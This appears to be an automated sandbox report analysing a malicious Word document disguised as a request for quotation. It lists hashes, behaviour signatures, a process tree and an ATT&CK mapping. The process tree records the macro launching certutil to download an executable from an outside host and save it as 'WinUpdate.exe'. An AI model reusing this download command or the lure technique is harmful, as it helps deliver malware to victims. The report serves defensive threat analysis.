Analysis

  • max time kernel
    147s
  • max time network
    43s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-09-2022 10:31

General

  • Target

    RFQ 80479040.doc

  • Size

    62KB

  • MD5

    6328c4a16d653cb10c3b042301b2d6c3

  • SHA1

    4dba059a50044581f2741868ce850618a042f0b5

  • SHA256

    9e7f45fc3fe9b1849e1308f416aa57cf62588ca43359630649943b40fcf07856

  • SHA512

    6d46cc27a4786b0072f1a53cdbd6e3c42e646b6f441ef39eee0630e37863c90bf8c8e40ee026af7cd98ac14474ff96b787ccab941f995fd7db80d0dcc4c2725f

  • SSDEEP

    384:OkUgY5j96eYPKNiaI1WAE7OCb8iSUR/8dEv8krqrf4INzte/DZeIESy3uGjGWi2S:OP5I5I/q/qsfZ3qHGjG/owKSqXI

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ 80479040.doc"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SysWOW64\certutil.exe
      "C:\Windows\System32\certutil.exe" -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
      2⤵
      • Process spawned unexpected child process
      PID:888

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/888-59-0x0000000000000000-mapping.dmp
  • memory/1504-54-0x0000000072C31000-0x0000000072C34000-memory.dmp
    Filesize

    12KB

  • memory/1504-55-0x00000000706B1000-0x00000000706B3000-memory.dmp
    Filesize

    8KB

  • memory/1504-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1504-57-0x00000000768A1000-0x00000000768A3000-memory.dmp
    Filesize

    8KB

  • memory/1504-58-0x000000007169D000-0x00000000716A8000-memory.dmp
    Filesize

    44KB

  • memory/1504-61-0x000000007169D000-0x00000000716A8000-memory.dmp
    Filesize

    44KB